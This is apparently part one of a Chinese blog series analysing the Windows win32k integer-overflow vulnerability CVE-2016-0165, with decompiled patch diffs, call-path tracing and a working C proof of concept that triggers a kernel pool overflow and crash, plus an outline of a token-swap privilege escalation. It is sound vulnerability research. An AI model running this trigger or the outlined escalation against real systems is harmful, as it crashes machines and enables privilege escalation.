首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >从 CVE-2016-0165 说起:分析、利用和检测(上)

从 CVE-2016-0165 说起:分析、利用和检测(上)

作者头像
稻草小刀
发布于 2022-12-12 08:14:56
发布于 2022-12-12 08:14:56
1.1K00
代码可运行
举报
文章被收录于专栏:小刀志小刀志
运行总次数:0
代码可运行

本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。

本文分为三篇:

从 CVE-2016-0165 说起:分析、利用和检测(上)

从 CVE-2016-0165 说起:分析、利用和检测(中)

从 CVE-2016-0165 说起:分析、利用和检测(下)

0x0 前言

CVE-2016-0165 是一个典型的整数上溢漏洞,由于在 win32k!RGNMEMOBJ::vCreate 函数中分配内核池内存块前没有对计算的内存块大小参数进行溢出校验,导致函数有分配到远小于所期望大小的内存块的可能性。而函数本身并未对分配的内存块大小进行必要的校验,在后续通过该内存块作为缓冲区存储数据时,将会触发缓冲区溢出访问的 OOB 问题,严重情况将导致系统 BSOD 的发生。

本分析中利用该特性,通过内核内存布局的设计以及内核对象的构造,使 win32k!RGNMEMOBJ::vCreate 函数分配的固定大小的内存块被安置在某一内存页的末尾位置,其下一内存页由我们之前分配的垫片对象和位图对象填充。在 win32k!RGNMEMOBJ::vCreate 函数接下来调用 vConstructGET 函数期间,溢出访问发生在可控的内存区域和范围,下一内存页中我们所分配的垫片和位图对象将被溢出覆盖,其中的数据被破坏。根据精心布局的内存结构,位图对象的 sizlBitmap.cy 成员正好被覆盖成了 0xFFFFFFFF 数值,这将使该位图对象拥有完整内存空间访问的能力。

然而由于该位图对象的 pvScan0 成员值未被覆盖,所以该对象读写内存数据时,只能从自身所关联的位图数据区域首地址作为访问的起始地址。而由于提前精心布局的内存结构,该位图对象下一内存页中对应的位置仍旧存储由我们分配的位图对象,通过当前位图对象作为管理对象,以整内存页读写的方式,对其下一内存页中的位图对象的 pvScan0 成员的值进行修改,使其指向我们想要读写访问的内存地址,将下一位图对象作为扩展对象,然后操作扩展对象对指定的内存区域进行读写访问,以指哪、打哪两步走操作的方式,实现任意内核内存地址读写的能力。

利用实现的任意内核内存地址读写的能力,通过定位 System 进程的 EPROCESS 对象地址和当前进程的 EPROCESS 对象地址,以 Token 指针替换的方式实现内核提权的目的。

在本分析中,将对该漏洞的逻辑、触发机理、利用对策等进行由浅入深的探索,并将探究本分析中所涉及到的系统函数在内核中是如何关联在一起的。为减小文章数据占用空间,因此将大部分 IDA 和 WinDBG 分析调试的代码数据截图以代码清单的方式呈现。

本次分析涉及或间接涉及到的类或结构体可在《图形设备接口子系统的对象解释》文档中找到解释说明。

0x1 原理

CVE-2016-0165 是 win32k 内核模块中 GDI 子系统的一个典型的整数向上溢出漏洞。整数向上溢出漏洞通常的特征是:当某个特定的整数变量的数值接近其整数类型的上限、而代码逻辑致使未进行适当的溢出校验就对该变量的值继续增加时,将导致发生整数溢出,使该变量数值的高位丢失,变成远小于其本应成为的数值;如果该变量将作为缓冲区大小或数组的元素个数,继而将使依赖该缓冲区大小或数组元素个数变量的后续代码发生诸如缓冲区溢出、越界访问等问题。


漏洞位置

漏洞发生在 win32k!RGNMEMOBJ::vCreate 函数中,该函数是 RGNMEMOBJ 内存对象类的成员函数,用于依据路径 PATH 对象对当前 RGNMEMOBJ 对象所关联的区域 REGION 对象进行初始化。通过补丁比对,发现以下主要不同的地方:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  if ( 0x28 * (v6 + 1) )
  {
    v12 = ExAllocatePoolWithTag((POOL_TYPE)0x21, 0x28 * (v6 + 1), 'ngrG');
    v7 = a4;
    P = v12;
  }
  else
  {
    P = 0;
  }

清单 1-1 补丁前

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  if ( ULongAdd(NumberOfBytes, 1u, &NumberOfBytes) >= 0
    && ULongLongToULong(0x28 * NumberOfBytes, 0x28 * NumberOfBytes >> 32, &NumberOfBytes) >= 0 )
  {
    P = NumberOfBytes ? ExAllocatePoolWithTag((POOL_TYPE)0x21, NumberOfBytes, 'gdeG') : 0;
    if ( P )
    {
      v6 = a4;
      NumberOfBytes = 1;
      ...
    }
    ...
  }

清单 1-2 补丁后

函数中有一处 ExAllocatePoolWithTag 调用,用来分配在构造 REGION 时容纳中间数据的临时缓冲区,并在函数返回之前调用 ExFreePoolWithTag 释放前面分配的缓冲区内存。

补丁在 RGNMEMOBJ::vCreate 函数中调用 ExAllocatePoolWithTag 分配内存之前,增加了 ULongAddULongLongToULong 两个函数调用。函数 ULongAdd 用来将参数 1 和参数 2 相加并将值放置于参数 3 指针指向的 ULONG 类型变量中;函数 ULongLongToULong 用于将 ULONGLONG 类型的参数 1 转换为 ULONG 类型数值并放置在参数 2 指针指向的变量中。这两个函数在调用时如果发现运算的数值超出 ULONG 整数的范围,将会返回 ERROR_ARITHMETIC_OVERFLOW (0x80070216) 的错误码,所以通常被调用来防止发生整数溢出的问题。在该漏洞所在函数中,补丁增加这两个调用则用来防止 ExAllocatePoolWithTag 的参数 SIZE_T NumberOfBytes 发生整数溢出。

除去防止整数溢出的作用外,上面的“补丁后”代码片段增加的两个函数调用计算结果等同于:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
NumberOfBytes = 0x28 * (NumberOfBytes + 1);

对比补丁前后的代码片段可知两者含义基本相同,均是用来指示 ExAllocatePoolWithTag 函数调用分配用以存储“特定数量”+1 个 0x28 单位大小元素的内存缓冲区。这个“特定数量”的数值来自于参数 a2 指向的 EPATHOBJ+4 字节偏移的域:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  v6 = *((_DWORD *)a2 + 1);
  v38 = v6;
  if ( v6 < 2 )
    return;

清单 1-3 函数 RGNMEMOBJ::vCreate 对 v6 进行赋值

位于 EPATHOBJ+4 字节偏移的域是定义为 ULONG cCurves 的成员变量,用于定义当前 EPATHOBJ 用户对象的曲线数目。

调用 ExAllocatePoolWithTag 函数分配内存缓冲区后,在随后的代码逻辑中,缓冲区地址的指针将被作为第 3 个参数传入 vConstructGET 函数调用。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  v24 = (struct EDGE *)P;
  *(_DWORD *)(*(_DWORD *)v5 + 0x30) = 0x48;
  *(_DWORD *)(*(_DWORD *)v5 + 0x18) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x14) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x34) = 0;
  *(_DWORD *)(*(_DWORD *)v5 + 0x1C) = *(_DWORD *)v5 + 0x48;
  v25 = *(_DWORD *)v5 + 0x20;
  *(_DWORD *)(v25 + 4) = v25;
  *(_DWORD *)v25 = v25;
  vConstructGET(a2, (struct EDGE *)&v30, v24, a4);

清单 1-4 内存地址的指针作为第 3 个参数传入 vConstructGET 函数


vConstructGET

函数 vConstructGET 用于根据路径建立全局边表,全局边表以 Y-X 坐标序列构成。调用 vConstructGET 时将前面分配的内存指针是作为 struct EDGE * 类型的指针参数传入的。由此可见,该内存缓冲区将作为“特定数量”个单位大小为 0x28struct EDGE 类型元素的数组发挥作用。查阅相关资料,在 WinNT4 源码 (fillpath.c) 中发现 EDGE 数据结构的相关定义:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Describe a single non-horizontal edge of a path to fill.
typedef struct _EDGE {
    PVOID pNext;            //<[00,04]
    INT iScansLeft;         //<[04,04]
    INT X;                  //<[08,04]
    INT Y;                  //<[0C,04]
    INT iErrorTerm;         //<[10,04]
    INT iErrorAdjustUp;     //<[14,04]
    INT iErrorAdjustDown;   //<[18,04]
    INT iXWhole;            //<[1C,04]
    INT iXDirection;        //<[20,04]
    INT iWindingDirection;  //<[24,04]
} EDGE, *PEDGE;

清单 1-5 结构体 EDGE 的定义

结构体 EDGE 用于描述将要填充的路径中的单个非水平(不与 Y 轴平行的)边。在 32 位环境下,该结构体的大小是 0x28 字节。

在函数 vConstructGET 中循环调用 AddEdgeToGET 函数,将路径中通过两点描述的边依次添加到全局边表中。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  for ( pptfxStart = 0; ppr; ppr = *(struct PATHRECORD **)ppr )
  {
    pptfx = (struct PATHRECORD *)((char *)ppr + 0x10);
    if ( *((_BYTE *)ppr + 8) & 1 )
    {
      pptfxStart = (struct PATHRECORD *)((char *)ppr + 0x10);
      pptfxPrev = (struct PATHRECORD *)((char *)ppr + 0x10);
      pptfx = (struct PATHRECORD *)((char *)ppr + 0x18);
    }
    for ( pptfxEnd = (struct PATHRECORD *)((char *)ppr + 8 * *((_DWORD *)ppr + 3) + 0x10);
          pptfx < pptfxEnd;
          pptfx = (struct _POINTFIX *)((char *)pptfx + 8) )
    {
      pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfx, pBound);
      pptfxPrev = pptfx;
    }
    if ( *((_BYTE *)ppr + 8) & 2 )
    {
      pFreeEdges = AddEdgeToGET(pGETHead, pFreeEdges, pptfxPrev, pptfxStart, pBound);
      pptfxPrev = 0;
    }
  }

清单 1-6 函数 vConstructGET 代码片段

其中,函数 vConstructGET 的第 3 个参数 struct EDGE *pFreeEdges 即前面分配的内存缓冲区指针,调用 AddEdgeToGETpFreeEdges 作为参数 a2 传入。在依次调用的 AddEdgeToGET 函数中,将通过两点描述的边添加到全局边表中,并将相关数据写入当前 a2 参数指向的 EDGE 结构体元素,最后将下一个 EDGE 元素地址作为返回值返回:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  *(_DWORD *)pFreeEdge = v24;
  *(_DWORD *)v23 = pFreeEdge;
  return (struct EDGE *)((char *)pFreeEdge + 0x28);

清单 1-7 函数 AddEdgeToGET 将 pFreeEdges 数组下一个元素地址作为返回值

如果前面分配内存时分配大小满足了溢出条件,那么将会分配远小于所期望长度的内存缓冲区,但存储于数据结构中的数组元素个数仍是原来期望的数值,在循环调用 AddEdgeToGET 函数逐个操作 pFreeEdges 数组元素时,由于进行了大量的写入操作,将会造成缓冲区访问越界覆盖其他数据,发生不可预料的问题,从而导致系统 BSOD 的触发。

0x2 追踪

为了复现漏洞,需要找一条通往 RGNMEMOBJ::vCreate 中漏洞关键位置的调用路径。在 win32k 中有很多函数都会调用 RGNMEMOBJ::vCreate 函数。

图 2-1 RGNMEMOBJ::vCreate 的引用列表

在前面的章节已知,漏洞触发关键变量 v6 来源于 RGNMEMOBJ::vCreate 函数的 EPATHOBJ *a2 参数。通过在引用列表中逐项比对之后决定选取 NtGdiPathToRegion 函数作为调用接口。


NtGdiPathToRegion

函数 NtGdiPathToRegion 用于根据被选择在 DC 对象中的路径 PATH 对象创建区域 REGION 对象,生成的区域将使用设备坐标,唯一的参数 HDC a1 是指向某个设备上下文 DC 对象的句柄。由于区域的转换需要闭合的图形,所以在函数中执行转换之前,函数会将 PATH 中所有未闭合的图形闭合。在成功执行从路径到区域的转换操作之后,系统将释放目标 DC 对象中的闭合路径。另外该函数可在用户态进程中通过 gdi32.dll 中的导出函数在用户进程中进行直接调用,这给路径追踪带来便利。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  DCOBJ::DCOBJ(&v9, a1);
  ...
  XEPATHOBJ::XEPATHOBJ(&v7, &v9);
  if ( v8 )  // *(PPATH *)((_DWORD *)&v7 + 2)
  {
    v4 = *(_BYTE *)(*(_DWORD *)(v9 + 0x38) + 0x3A);
    v11 = 0;
    RGNMEMOBJ::vCreate((RGNMEMOBJ *)&v10, (struct EPATHOBJ *)&v7, v4, 0);
    if ( v10 )
    {
      v5 = HmgInsertObject(v10, 0, 4);
      if ( !v5 )
        RGNOBJ::vDeleteRGNOBJ((RGNOBJ *)&v10);
    }
    else
    {
      v5 = 0;
    }
    ...
  }

清单 2-1 函数 NtGdiPathToRegion 中调用 RGNMEMOBJ::vCreate 函数

在函数中位于栈上的用户对象 XEPATHOBJ v7 的地址被作为第 2 个参数传递给 RGNMEMOBJ::vCreate 函数调用。XEPATHOBJ v7 在其自身的带参构造函数 XEPATHOBJ::XEPATHOBJ 中依据用户对象 DCOBJ v9 进行初始化,而稍早时 DCOBJ v9DCOBJ::DCOBJ 构造函数中依据 NtGdiPathToRegion 函数的唯一参数 HDC a1 句柄进行初始化。


构造函数

构造函数 XEPATHOBJ::XEPATHOBJ 接受 XDCOBJ *a2 作为参数。函数中对成员域 cCurves 也进行了赋值:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  EPATHOBJ::EPATHOBJ(this);
  ...
  v3 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
  *((_DWORD *)this + 2) = v3;
  if ( v3 )
  {
    *((_DWORD *)this + 1) = *(_DWORD *)(v3 + 0x44); // count
    *((_DWORD *)this + 0) = *(_DWORD *)(v3 + 0x40);
  }

清单 2-2 对成员 cCurves 进行赋值

构造函数中通过调用 HmgShareLock 函数并传入 HPATH 句柄和 PATH_TYPE (7) 类型对句柄指向的 PATH 对象增加共享计数并返回对象指针,返回的指针被存储在 this 的第 3 个成员变量中(即父类 EPATHOBJ 中的 PPATH ppath 成员),以使当前 XEPATHOBJ 对象成为目标 PATH 对象的用户对象。传入 HmgShareLock 函数调用的参数 1 句柄来源于构造函数的参数 XDCOBJ *a2XDCOBJ 类中第 1 个成员变量 PDC pdc 是指向当前 XDCOBJ 用户对象所代表的设备上下文 DC 对象的指针。此处获取 a2 对象的成员变量 pdc 指向 DC 对象中存储的 HPATH 句柄,作为 HmgShareLock 函数调用的句柄参数。

位于 PATH+0x44 字节偏移的也是一个名为 ULONG cCurves 的域,该域的值赋值给 this 的第 2 个成员变量(即 cCurves 成员变量)。

构造函数 DCOBJ::DCOBJ 的执行就相对简单的多,其中仅根据句柄参数 HDC a2 获取该句柄指向的设备上下文 DC 对象指针并存储在 this 的第 1 个成员变量中(即 PDC pdc 成员),以使当前 DCOBJ 对象成为目标 DC 对象的用户对象。

据此可推断,漏洞关键位置 ExAllocatePoolWithTag 的内存分配大小参数可以通过参数 HDC a1 句柄作为接口进行控制。


调用路径

在用户态进程中,通过 gdi32.dll 中的 HRGN PathToRegion(HDC hdc) 函数可直接调用 NtGdiPathToRegion 系统调用。通过 gdi32!PathToRegion 调用将会实现如下的调用路径:

图 2-2 从 PathToRegion 到 ExAllocatePoolWithTag 调用路径

0x3 触发

接下来要想办法使上述调用路径能够使漏洞关键位置成功达成漏洞触发条件,即满足 ExAllocatePoolWithTag 分配缓冲区大小的整数溢出条件,使 ExAllocatePoolWithTag 最终分配远小于应该分配大小的缓冲区。


PolylineTo

gdi32.dll 模块中存在 PolylineTo 导出函数,用于向 HDC hdc 句柄指向的 DC 对象中绘制一条或多条直线。该函数最终将直接调用 NtGdiPolyPolyDraw 系统调用:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
BOOL __stdcall PolylineTo(HDC hdc, const POINT *apt, DWORD cpt)
{
  int v4; // eax@4
  int v5; // edi@4
  int v6; // edi@9

  if ( ((unsigned int)hdc & 0x7F0000) != 0x10000 )
  {
    if ( ((unsigned int)hdc & 0x7F0000) == 0x660000 )
      return 0;
    v4 = pldcGet(hdc);
    v5 = v4;
    if ( !v4 )
    {
      GdiSetLastError(6);
      return 0;
    }
    if ( *(_DWORD *)(v4 + 8) == 2 && !MF_Poly((int)hdc, (struct _POINTL *)apt, cpt, 6u) )
      return 0;
    if ( *(_BYTE *)(v5 + 4) & 0x20 )
      vSAPCallback(v5);
    v6 = *(_DWORD *)(v5 + 4);
    if ( v6 & 0x10000 )
      return 0;
    if ( v6 & 0x100 )
      StartPage(hdc);
  }
  return NtGdiPolyPolyDraw(hdc, apt, &cpt, 1, 4);
}

清单 3-1 函数 PolylineTo 代码

函数 NtGdiPolyPolyDraw 用于绘制一个或多个多边形、折线,也可以绘制由一条或多条直线段、贝塞尔曲线段组成的折线等;其第 4 个参数 ccpt 用于在绘制一系列的多边形或折线时指定多边形或折线的个数,如果绘制的是线条(不管是直线还是贝塞尔曲线)该值都需要设置为 1;第 5 个参数 iFunc 用于指定绘制图形类型,设置为 4 表示绘制直线。

函数 NtGdiPolyPolyDraw 中规定调用时的线条总数目(包括绘制多个多边形或折线时每个图形的边的总数总计)不能大于 0x4E2000 数值,否则将直接返回调用失败:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  cpt = 0;
  for ( i = 0; i < ccpt; ++i )
    cpt += *((_DWORD *)pulCounts + i);
  if ( cpt > 0x4E2000 )
    goto LABEL_56;

清单 3-2 函数 NtGdiPolyPolyDraw 规定线条总数目限制

根据第 5 个参数的值将进入不同的绘制例程:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  switch ( iFunc )
  {
    case 1:
      ulRet = GrePolyPolygon(hdc, pptTmp, pulCounts, ccpt, cpt);
      break;
    case 2:
      ulRet = GrePolyPolyline(hdc, pptTmp, pulCounts, ccpt, cpt);
      break;
    case 3:
      ulRet = GrePolyBezier(hdc, pptTmp, ulCount);
      break;
    case 4:
      ulRet = GrePolylineTo(hdc, pptTmp, ulCount);
      break;
    case 5:
      ulRet = GrePolyBezierTo(hdc, pptTmp, ulCount);
      break;
    default:
      if ( iFunc != 6 )
      {
        v18 = 0;
        goto LABEL_47;
      }
      ulRet = GreCreatePolyPolygonRgnInternal(pptTmp, pulCounts, ccpt, hdc, cpt);
      break;
  }

清单 3-3 函数 NtGdiPolyPolyDraw 根据第 5 个参数的值调用绘制例程

PolylineTo 函数中调用时由于这两个参数被分别指定为 14 数值,那么在 NtGdiPolyPolyDraw 中将会进入调用 GrePolylineTo 函数的分支。传入 GrePolylineTo 函数调用的第 3 个参数 ulCount 是稍早时赋值的本次需要绘制线条的数目,数值来源于从 PolylineTo 函数传入的 cpt 变量(见清单 3-1 所示)。

关键在于 GrePolylineTo 函数中,该函数首先根据 HDC a1 参数初始化 DCOBJ v12 用户对象,此处与上一章节中的初始化逻辑相同;接下来定义了 PATHSTACKOBJ v13 用户对象。PATHSTACKOBJEPATHOBJ 用户对象类的子类,具体定义在开始章节中有相关介绍。函数中调用 PATHSTACKOBJ::PATHSTACKOBJ 构造函数对 v13 对象进行初始化,并在初始化成功后调用成员函数 EPATHOBJ::bPolyLineTo 执行绘制操作。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    EXFORMOBJ::vQuickInit((EXFORMOBJ *)&v11, (struct XDCOBJ *)&v12, 0x204u);
    v8 = 1;
    PATHSTACKOBJ::PATHSTACKOBJ(&v13, (struct XDCOBJ *)&v12, 1);
    if ( !v14 )
    {
      EngSetLastError(8);
LABEL_12:
      PATHSTACKOBJ::~PATHSTACKOBJ((PATHSTACKOBJ *)&v13);
      v6 = 0;
      goto LABEL_9;
    }
    if ( !EPATHOBJ::bPolyLineTo(&v13, (struct EXFORMOBJ *)&v11, a2, a3) )
      goto LABEL_12;
    v9 = (const struct _POINTFIX *)EPATHOBJ::ptfxGetCurrent(&v13, &v10);
    DC::vCurrentPosition(v12, &a2[a3 - 1], v9);

清单 3-4 函数 GrePolylineTo 的代码片段


构造函数

构造函数 PATHSTACKOBJ::PATHSTACKOBJ 具有 struct XDCOBJ *a2int a3 两个外部参数。参数 a2 不解释;参数 a3 用于指示是否将目标 DC 对象的当前位置坐标点使用在 PATH 对象中。此处传递的值是 1 表示使用当前位置。

构造函数首先会根据标志位变量 v4 判断目标 DC 对象是否处于活跃状态,随后通过调用 HmgShareLock 函数获取目标 PATH 对象指针并初始化相关成员变量(与前面章节所示类似地,包括 cCurves 成员)。参数 a3 值为 1 时构造函数会获取该 DC 对象的当前位置坐标点,用以在后续的画线操作中将其作为初始坐标点。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  v4 = *(_DWORD *)(*(_DWORD *)a2 + 0x70);
  if ( v4 & 1 )
  {
    ...
    v6 = HmgShareLock(*(_DWORD *)(*(_DWORD *)a2 + 0x6C), 7);
    *((_DWORD *)this + 2) = v6;
    if ( v6 )
    {
      *((_DWORD *)this + 1) = *(_DWORD *)(v6 + 0x44);
      *((_DWORD *)this + 0) = *(_DWORD *)(v6 + 0x40);
      ...
    }
  ...
  }

清单 3-5 构造函数 PATHSTACKOBJ::PATHSTACKOBJ 对成员变量的初始化

不关注构造函数中后续的其他初始化操作,回到 GrePolylineTo 函数中并关注 EPATHOBJ::bPolyLineTo 函数调用。EPATHOBJ::bPolyLineTo 执行具体的从 DC 对象的当前位置点到指定点的画线操作。如清单 3-4 所示,传入的第 4 个参数 a3 是由 NtGdiPolyPolyDraw 函数传入的线条数目 ulCount 变量;此时作为其 a4 参数的值传入 EPATHOBJ::bPolyLineTo 函数调用。


EPATHOBJ::bPolyLineTo

函数 EPATHOBJ::bPolyLineTo 通过调用 EPATHOBJ::addpoints 执行将目标的点添加到路径中的具体操作。执行成功后,将参数 a4 的值增加到成员变量 cCurves 中:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  if ( *((_DWORD *)this + 2) )
  {
    v6 = 0;
    v8 = a3;
    v7 = a4;
    result = EPATHOBJ::addpoints(this, a2, (struct _PATHDATAL *)&v6);
    if ( result )
      *((_DWORD *)this + 1) += a4;
  }

清单 3-6 函数 EPATHOBJ::bPolyLineTo 增加成员变量 cCurves 的值

函数 EPATHOBJ::addpoints 主要通过调用函数 EPATHOBJ::growlastrecEPATHOBJ::createrec 实现功能:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  if ( !(*(_BYTE *)(*((_DWORD *)this + 2) + 0x34) & 1) )
    EPATHOBJ::growlastrec(this, a2, a3, 0);
  while ( *((_DWORD *)a3 + 1) > 0u )
  {
    if ( !EPATHOBJ::createrec(v3, a2, a3, 0) )
      return 0;
  }

清单 3-7 函数 EPATHOBJ::addpoints 代码片段

系统在 PATH 对象中通过一个或多个 PATHRECORD 记录存储一组或多组路径数据;从第 2 个开始的 PATHRECORD 记录项作为第 1 个记录项的延续。初始情况下,当前 PATH 对象并未包含任何 PATHRECORD 项,此时在调用 EPATHOBJ::addpoints 函数时会跳过 EPATHOBJ::growlastrec 调用而直接执行到 EPATHOBJ::createrec 函数。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
type struct  _POINTFIX {
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

struct _PATHRECORD {
    struct _PATHRECORD *pprnext;
    struct _PATHRECORD *pprprev;
    FLONG    flags;
    ULONG    count;
    POINTFIX aptfx[2]; // at least 2 points
};

清单 3-8 PATHRECORD 结构定义

函数 EPATHOBJ::createrec 创建并初始化新的 PATHRECORD 记录项,并将其添加到 PATH 对象中。函数中会判断当前 PATH 对象是否属于初始状态,如果属于初始状态则将前置初始点数量 cPoints 变量置为 1 并随后将初始坐标点首先安置在新构造的 PATHRECORD 记录中作为最开始的坐标点,该初始坐标点稍早时在构造函数中通过目标 DC 对象的当前位置坐标点初始化;由用户传入的坐标点序列将紧随其后被逐项安置在 PATHRECORD 记录中。在处理并存储坐标点数据时,各坐标点的 X 轴和 Y 轴数值都被左移 4 位。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  cPoints = *((_DWORD *)ppath + 0xD) & 1;
  ...
  if ( cPoints )
  {
    ppath = *((_DWORD *)this + 2);
    *((_DWORD *)ppr + 4) = *(_DWORD *)(ppath + 0x2C);
    *((_DWORD *)ppr + 5) = *(_DWORD *)(ppath + 0x30);
    --maxadd;
    *((_DWORD *)ppr + 2) = flags | *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) & 5;
    *(_DWORD *)(*((_DWORD *)this + 2) + 0x34) &= 0xFFFFFFFA;
  }
  else
  {
    ppath = *((_DWORD *)this + 2);
    if ( *(_DWORD *)(ppath + 0x18) != 0 )
      *(_DWORD *)(*(_DWORD *)(ppath + 0x18) + 8) &= 0xFFFFFFFD;
  }
  v19 = (struct PATHRECORD *)((char *)ppr + 8 * cPoints + 0x10);

清单 3-9 函数 EPATHOBJ::createrec 将初始点安置在 PATHRECORD 坐标点序列起始位置

在安置初始坐标点的同时,函数会清除目标 PATH 对象的代表初始状态的标志位;后续再次针对当前 PATH 对象调用到 EPATHOBJ::addpoints 时,将会首先进入 EPATHOBJ::growlastrec 调用,由用户传入的坐标点序列将被优先追加到原有的 PATHRECORD 记录中;当原有的记录的坐标点缓冲区存满时,才会进入后续的 EPATHOBJ::createrec 调用,创建新的作为前一个 PATHRECORD 记录延续的记录项。


析构函数

EPATHOBJ::~EPATHOBJ 析构函数中会将 EPATHOBJ 对象的 cCurves 成员存储的更新后的曲线数目回置给关联的 PATH 对象中的 cCurves 域中:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  ppath = ((_DWORD *)this + 2);
  if ( *((_DWORD *)this + 2) )
  {
    *(_DWORD *)(*(_DWORD *)ppath + 0x44) = *((_DWORD *)this + 1);
    *(_DWORD *)(*(_DWORD *)ppath + 0x40) = *((_DWORD *)this + 0);
    ppath = DEC_SHARE_REF_CNT(*(_DWORD *)ppath);
  }

清单 3-10 析构函数 EPATHOBJ::~EPATHOBJ 回置 cCurves 域的值

另外注意到在 EPATHSTACKOBJ::~EPATHSTACKOBJ 析构函数中也存在类似的回置逻辑,但其需判断当前 EPATHSTACKOBJ 对象是否属于 PATHTYPE_STACK 类型,在本分析所涉及的调用中并未涉及到该类型,所以只在父类 EPATHOBJ 的析构函数中回置相关域。


调用路径

根据上面的分析可知,通过适当调用 gdi32!PolylineTo 即可增加目标 DC 对象关联的 PATH 对象中 cCurves 域的值,该值直接影响到调用漏洞所在函数 RGNMEMOBJ::vCreate 分配内存缓冲区的大小。所以通过精巧构造的 POC 应可实现漏洞的触发。从 PolylineToEPATHOBJ::bPolyLineTo 的调用路径:

图 3-1 从 PolylineTo 到 EPATHOBJ::bPolyLineTo 调用路径

0x4 验证

根据前面章节的分析和追踪,在本章节尝试对该漏洞的机理进行验证。

Windows 系统中,ULONG 类型的整数最大值为 0xFFFFFFFF,超过该范围将会发生整数向上溢出,溢出发生后仅保留计算结果的低 32 位数据,超过 32 位的数据将丢失。例如:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0xFFFF FFFF + 0x1 = 0x(1) 0000 0000 = 0x0

在本漏洞所在的现场,传入 ExAllocatePoolWithTag 的参数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
NumberOfBytes = 0x28 * (v6 + 1)

要使 NumberOfBytes 参数满足 32 位整数溢出的条件,需要满足:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
0x28 * (v6 + 1) > 0xFFFFFFFF

解该不等式得到 v6 > 0x‭6666665‬ 的结果。

RGNMEMOBJ::vCreate 函数的开始位置调用的 EPATHOBJ::vCloseAllFigure 成员函数,用来遍历 PATHRECORD 列表中的每个条目,并将所有未处于闭合状态的记录项设置为闭合状态。设置闭合状态表示将末尾的坐标点和起始坐标点相连接,所以需要同时对 cCurves 成员变量加一。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  for ( ppr = *(struct PATHRECORD **)(*((_DWORD *)this + 2) + 0x14); ppr; ppr = *(struct PATHRECORD **)ppr )
  {
    v2 = *((_DWORD *)ppr + 2);
    if ( v2 & 2 )
    {
      if ( !(v2 & 8) )
      {
        *((_DWORD *)ppr + 2) = v2 | 8;
        ++*((_DWORD *)this + 1);
      }
    }
  }

清单 4-1 闭合 PATHRECORD 记录时对 cCurves 成员变量加一

形成闭合图形之后,边的数目应和顶点的数目相等;而根据前面的章节可知,在调用 EPATHOBJ::createrec 函数创建初始 PATHRECORD 记录时,将源自于设备上下文的起始坐标点作为 PATH 对象的顶点序列的最开始的坐标点,这导致执行到漏洞关键位置时,变量 v6 的值比由用户进程传入的线条数目大 1。所以在用户进程中传递的画线数目只需大于 0x6666664 就能够满足溢出条件。但根据图 3-2 所示,传入的线条总数不能大于 0x4E2000 数值,否则将直接返回失败。所以在验证代码中可以分为多次调用。

漏洞验证逻辑如下:

图 4-1 漏洞验证逻辑

漏洞验证代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include <Windows.h>
#include <wingdi.h>
#include <iostream>

CONST LONG maxCount = 0x6666665;
CONST LONG maxLimit = 0x4E2000;
static POINT point[maxCount] = { 0 };

int main(int argc, char *argv[])
{
    BOOL ret = FALSE;
    for (LONG i = 0; i < maxCount; i++)
    {
        point[i].x = i + 1;
        point[i].y = i + 2;
    }
    HDC hdc = GetDC(NULL); // get dc of desktop hwnd
    BeginPath(hdc); // activate the path
    for (LONG i = maxCount; i > 0; i -= min(maxLimit, i))
    {
        ret = PolylineTo(hdc, &point[maxCount - i], min(maxLimit, i));
    }
    EndPath(hdc); // deactivate the path
    HRGN hRgn = PathToRegion(hdc);
    return 0;
}

清单 4-2 漏洞验证代码

在清单 4-2 的代码中,我将绘制的线条数目设置为 0x6666665,这将导致在 RGNMEMOBJ::vCreate 函数中计算分配缓冲区大小时发生整数溢出,缓冲区分配大小的数值成为 0x18。代码编译后在目标系统中执行,由整数溢出引发的 OOB 漏洞导致的系统 BSOD 在稍等片刻之后便会触发:

图 4-2 整数溢出引发 OOB 导致系统 BSOD 触发

  • THE END -

文章链接: https://cloud.tencent.com/developer/article/2191136

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-01-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
从 CVE-2016-0165 说起:分析、利用和检测(中)
